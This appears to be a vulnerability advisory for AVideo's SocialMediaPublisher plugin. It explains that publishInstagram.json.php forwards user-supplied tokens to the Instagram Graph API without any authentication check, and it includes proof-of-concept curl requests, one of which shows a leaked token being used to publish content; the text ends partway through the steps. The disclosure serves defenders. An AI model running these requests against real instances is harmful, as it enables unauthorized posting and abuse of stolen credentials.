AVideo: Unauthenticated Instagram Graph API Proxy via publishInstagram.json.php

Summary

The SocialMediaPublisher plugin exposes a publishInstagram.json.php endpoint that acts as an unauthenticated proxy to the Facebook/Instagram Graph API. The endpoint accepts user-controlled parameters including an access token, container ID, and Instagram account ID, and passes them directly to the Graph API via InstagramUploader::publishMediaIfIsReady(). This allows any unauthenticated user to make arbitrary Graph API calls through the server, potentially using stolen tokens or abusing the platform's own credentials.

Details

At plugin/SocialMediaPublisher/publishInstagram.json.php:14, the endpoint passes request parameters directly to the Instagram Graph API without any authentication check:

InstagramUploader::publishMediaIfIsReady(
    $_REQUEST['accessToken'],
    $_REQUEST['containerId'],
    $_REQUEST['instagramAccountId']
);

There is no call to User::isLogged(), User::isAdmin(), or any other authorization check before processing the request.

In contrast, sibling endpoints in the same plugin enforce proper authorization:

• uploadVideo.json.php requires User::isLogged()
• refresh.json.php requires User::isAdmin()

The endpoint was confirmed accessible on a live instance: it returns a Graph API error response, demonstrating that it processes the request and forwards it to Facebook's servers.

Proof of Concept

1. Send a request to the endpoint without any authentication:

curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/publishInstagram.json.php" \
  -d "accessToken=TEST_TOKEN&containerId=TEST_CONTAINER&instagramAccountId=TEST_ACCOUNT"

2. The server forwards the request to the Facebook Graph API. With invalid parameters, it returns a Graph API error confirming the endpoint is functional:

{
  "error": {
    "message": "Invalid OAuth access token.",
    "type": "OAuthException",
    "code": 190
  }
}

3. With a valid access token (e.g., one leaked from AVI-027), an attacker could publish content to the platform's Instagram account:

curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/publishInstagram.json.php" \
  -d "accessToken=LEAKED_ACCESS_TOKEN&containerId=REAL_CONTAINER_ID&instagramAccountId=REAL_ACCOUNT_ID"

4. Verify that sibling endpoints require authentication: